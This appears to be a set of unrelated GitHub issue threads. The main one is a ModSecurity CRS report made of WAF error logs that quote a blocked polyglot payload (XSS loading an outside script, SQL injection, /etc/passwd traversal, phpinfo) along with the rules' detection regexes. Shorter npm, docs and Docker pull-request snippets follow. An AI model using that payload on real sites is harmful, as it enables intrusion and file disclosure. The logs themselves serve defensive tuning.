"capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.780762 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "(?i)(?:^|b[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?u[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?s[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0- ..." at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "1375"] [id "932236"] [msg "Remote Command Execution: Unix Command Injection (command without evasion)"] [data "Matched Data: =open(../etc/passwd found within ARGS:a: 1&authDomain=%27%60%22><%2fscript></title></style></textarea></template></title></style></textarea></template><script/src=https://security-smarttecs.com/data.js>//&delete='`\\x22></script></title></style></textarea></template><php>phpinfo();</php>\\x5cr\\x5cn\\x5ccrlf\\x5c%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-generic"] [tag "paranoia-level/2"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.782151 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "(?:close|exists|fork|(?:ope|spaw)n|re(?:ad|quire)|w(?:atch|rite))[\\\\s\\\\x0b]*\\\\(" at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-934-APPLICATION-ATTACK-GENERIC.conf"] [line "263"] [id "934101"] [msg "Node.js Injection Attack 2/2"] [data "Matched Data: open( found within ARGS:a: 1&authDomain='`\\x22></script></title></style></textarea></noscript></template><script/src=https://security-smarttecs.com/data.js>//&delete='`\\x22></script></title></style></textarea></template><php>phpinfo();</php>\\x0d\\x0acrlf%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-generic"] [tag "paranoia-level/2"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.782284 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. detected XSS using libinjection. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "100"] [id "941100"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found within ARGS:a: 1&authDomain='`\\x22></script></title></style></textarea></noscript></template><script/src=https://security-smarttecs.com/data.js>//&delete='`\\x22></script></title></style></textarea></template><php>phpinfo();</php>\\x0d\\x0acrlf%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "xss-perf-disable"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.782339 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "(?i)</title></style></textarea></template><script/src=https://security-smarttecs.com/data.js>//&delete='`\\x22></script></title></style></textarea></template><php>phpinfo();</php>\\x0d\\x0acrlf%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "xss-perf-disable"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.782481 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "(?i)<[^0-9<>A-Z_a-z]*(?:[^\\\\s\\\\x0b\\"'<>]*:)?[^0-9<>A-Z_a-z]*[^0-9A-Z_a-z]*?(?:s[^0-9A-Z_a-z]*?(?:c[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?p[^0-9A-Z_a-z]*?t|t[^0-9A-Z_a-z]*?y[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?e|v[^0-9A-Z_a-z]*?g|e[^0-9A-Z_a-z]*?t[^0- ..." at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "219"] [id "941160"] [msg "NoScript XSS InjectionChecker: HTML Injection"] [data "Matched Data: '`\\x22></script></title></style></textarea></noscript></template><script/src= found within ARGS:a: 1&authDomain='`\\x22></script></title></style></textarea></template></title></style></textarea></template><php>phpinfo();</php>\\x0d\\x0acrlf%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi" [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.782859 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:tyle|rc)|href)\\\\b[\\\\s\\\\S]*?=" at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "853"] [id "941150"] [msg "XSS Filter - Category 5: Disallowed HTML Attributes"] [data "Matched Data: style></textarea></template></title></style></textarea></template><script/src=https://security-smarttecs.com/data.js>//&delete='`\\x22></script></title></style></textarea></template><php>phpinfo();</php>\\x0d\\x0acrlf%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "xss-perf-disable"] [tag "paranoia-level/2"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.782937 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "<(?:a|abbr|acronym|address|applet|area|audioscope|b|base|basefront|bdo|bgsound|big|blackface|blink|blockquote|body|bq|br|button|caption|center|cite|code|col|colgroup|comment|dd|del|dfn|dir|div|dl|dt|em|embed|fieldset|fn|font|form|frame|frameset|h1|head ..." at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "969"] [id "941320"] [msg "Possible XSS Attack Detected - HTML Tag Handler"] [data "Matched Data: </title></style> found within ARGS:a: 1&authDomain='`\\x22></script></title></style></textarea></template></title></style></textarea></template><php>phpinfo();</php>\\x5cr\\x5cn\\x5ccrlf\\x5c%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "WARNING"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.784185 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "(?i)[\\"'`][\\\\s\\\\x0b]*?(?:(?:is[\\\\s\\\\x0b]+not|not[\\\\s\\\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\\\s\\\\x0b]+like)\\\\b|[%&\\\\*\\\\+\\\\-/<->\\\\^\\\\|])" at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "1509"] [id "942520"] [msg "Detects basic SQL authentication bypass attempts 4.0/4"] [data "Matched Data: \\x22> found within ARGS:a: 1&authDomain='`\\x22></script></title></style></textarea></noscript></template><script/src=https://security-smarttecs.com/data.js>//&delete='`\\x22></script></title></style></textarea></template><php>phpinfo();</php>\\x5cr\\x5cn\\x5ccrlf\\x5c%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/2"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [ta [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.784279 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "((?:[~!@#\\\\$%\\\\^&\\\\*\\\\(\\\\)\\\\-\\\\+=\\\\{\\\\}\\\\[\\\\]\\\\|:;\\"'\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98`<>][^~!@#\\\\$%\\\\^&\\\\*\\\\(\\\\)\\\\-\\\\+=\\\\{\\\\}\\\\[\\\\]\\\\|:;\\"'\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98`<>]*?){6})" at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "1803"] [id "942431"] [msg "Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (6)"] [data "Matched Data: &authDomain='`\\x22> found within ARGS:a: 1&authDomain='`\\x22></script></title></style></textarea></template></title></style></textarea></template><php>phpinfo();</php>\\x5cr\\x5cn\\x5ccrlf\\x5c%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "WARNING"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paran [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.784330 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "\\\\W{4}" at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "1833"] [id "942460"] [msg "Meta-Character Anomaly Detection Alert - Repetitive Non-Word Characters"] [data "Matched Data: ='`\\x22 found within ARGS:a: 1&authDomain='`\\x22></script></title></style></textarea></template></title></style></textarea></template><php>phpinfo();</php>\\x5cr\\x5cn\\x5ccrlf\\x5c%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "WARNING"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/3"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.784394 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "((?:[~!@#\\\\$%\\\\^&\\\\*\\\\(\\\\)\\\\-\\\\+=\\\\{\\\\}\\\\[\\\\]\\\\|:;\\"'\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98`<>][^~!@#\\\\$%\\\\^&\\\\*\\\\(\\\\)\\\\-\\\\+=\\\\{\\\\}\\\\[\\\\]\\\\|:;\\"'\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98`<>]*?){2})" at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "1975"] [id "942432"] [msg "Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (2)"] [data "Matched Data: &authDomain= found within ARGS:a: 1&authDomain='`\\x22></script></title></style></textarea></noscript></template><script/src=https://security-smarttecs.com/data.js>//&delete='`\\x22></script></title></style></textarea></template><php>phpinfo();</php>\\x5cr\\x5cn\\x5ccrlf\\x5c%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "WARNING"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-lev [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.784783 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 141)"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.784997 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity.d/owasp-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "98"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=141, detection=141, per_pl=58-61-11-11, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=30, XSS=25, RFI=0, LFI=15, RCE=45, PHPI=10, HTTP=0, SESS=0, COMBINED_SCORE=141)"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "reporting"] [tag "OWASP_CRS"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]

Expected behavior
Modsecurity has the ability to limit the rules by using a parameter.
Server (please complete the following information):

ModSecurity version (and connector): 2
WebServer: Apache
OS (and distro): Docker image: owasp/modsecurity-crs:apache

Rule Set (please complete the following information):
Following Rule Set was used (commit f2ab9c3063fece423e6a4156aad145f7f7e6ef96) CRS Rules

Hi @no-sec-marko,
thanks for shared your idea.
I have had a very similar idea: monitoring a preset TX (or any custom) variable, and if it reaches the threshold, then terminate the transaction.
If you want to look up the number of triggered rules, then it's a bit problematic this way, because you must provide a method how to count the triggered rules (eg. I assume if you use CRS, you don't want to count the rules from crs-setup.conf, REQUEST-901-INITIALIZATION.conf, neither from any exclusions config).
But may be this idea can help you to reduce the number of unwanted triggering.
Please let me figure out how can we implement this, especially what would be the best way to configure these limits.
If anyone has an idea related to this feature, please share that here.

I'm not sure that the engine should stop processing rules. In CRS, the rule for blocking based on score is one of the last rules, so stopping to process would essentially skip blocking.
However, if post-processing is the issue, then it would suffice to limit the output to audit / error logs.

I do not really like the monitoring of a preset variable from a conceptual viewpoint.
If you want to block when a certain rule is triggered, then issue a deny with the rule.
If you want to group rules together and block afterwards, then add a rule after the group and issue a deny in this group.
I also second what @theseion stated: With a scoring rule set you can not simply stop processing and if you use ModSec to display additional information about a request in the logs in phase 5, then stopping to process a request effectively means you lack that information in the logs when you most need it.
I think this is a rules problems and it should be dealt with in the rules.
Circling back to the original reporter @no-sec-marko. Yes, this is a conceptual problem of every WAF. Given the WAF logs a ton of information it's like filling the access log of a webserver, but on steroids. You need to anticipate this when building your platform. The rule set could try to protect you, but the rule set is in a bad position to monitor its own execution and any monitoring would slow things down for the very rare case somebody tried to pull this of in the wild (I have never seen this obvious weakness being exploited).


cannot npm install

ERROR: [Errno 2] No such file or directory: 'run' npm ERR! code ELIFECYCLE npm ERR! errno 1 npm ERR<EMAIL_ADDRESS>prepublish: yarn run build`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>prepublish script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
npm ERR! A complete log of this run can be found in:
npm ERR!     /home/nineleaps/.npm/_logs/2018-06-07T06_40_02_795Z-debug.log

npm ERR! missing script: start
npm ERR!


Fix website public cloud quickstart deadlink

Modifified website public cloud quickstart link from getting-started/quickstart to basics/getting-started/public-cloud-examples

Thanks. Please add description

Fixed


fix(TCOMP-1409) set the mvn settings property for start.bat script

What is the current behavior? (You can also link to an open issue here)
https://jira.talendforge.org/browse/TCOMP-1409
What is the new behavior?
Please check if the PR fulfills these requirements

[ ] The commit message follows Talend standard
[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features) ?
[ ] The code coverage on new code >75%
[ ] The new code does not introduce new technical issues (sonar / eslint)

What kind of change does this PR introduce?

[ ] Bugfix
[ ] Feature
[ ] Code style update (formatting, local variables)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build / CI related changes
[ ] Other... Please describe:

Does this PR introduce a breaking change?

[ ] Yes
[ ] No

If this PR contains a breaking change, please describe the impact and migration path for existing applications: ...
Other information:

Pull request test result: failure :x:


docs: Add doc for custom repos.

All the feedback should be addressed now.

Updated this with all the requested changes.


Add buildflag to differentiate when container is being used in build

With patches like our /run or /tmp patch we would like to only do this when running as a standard container, not as a build container.   This flag allows us to differentiate.
Docker-DCO-1.1-Signed-off-by: Dan Walsh<EMAIL_ADDRESS>(github: rhatdan)

ping @duglin @LK4D4 @cpuguy83 any thoughts on this?

I am moving away from this strategy and plan on submitting a --systemd patch which would set the container in systemd mode and then drop patches for things like /run and /tmp on tmpfs, since they cause problems for docker commit.  I think it would be nice to differentiate build from run, but I don't have a pure use case for this anylonger.

@rhatdan thanks! in that case, I'm going to close this PR, but ping me if I misunderstood :)